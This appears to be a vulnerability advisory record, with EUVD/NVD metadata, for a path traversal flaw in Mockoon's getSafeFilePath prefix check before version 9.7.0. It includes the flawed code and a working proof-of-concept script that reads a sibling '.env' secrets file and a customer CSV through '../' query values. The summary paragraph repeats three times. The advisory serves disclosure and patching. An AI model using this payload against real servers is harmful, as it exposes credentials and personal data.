Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
## Summary
A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
## Details
`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:
```ts
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
```
With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.
`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).
## PoC
```sh
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/[email protected] >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
```
Output:
```text
[*] intended file (public/index.txt) : public landing page
[+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, [email protected], 555-22-7741
```
`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 9, 2026, 6:28:35 PM
dateUpdated: Jul 9, 2026, 6:41:45 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-22 · CWE-23
Original publisher date fields
published: 2026-07-09T19:17:07.207
lastModified: 2026-07-10T19:15:15.780
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.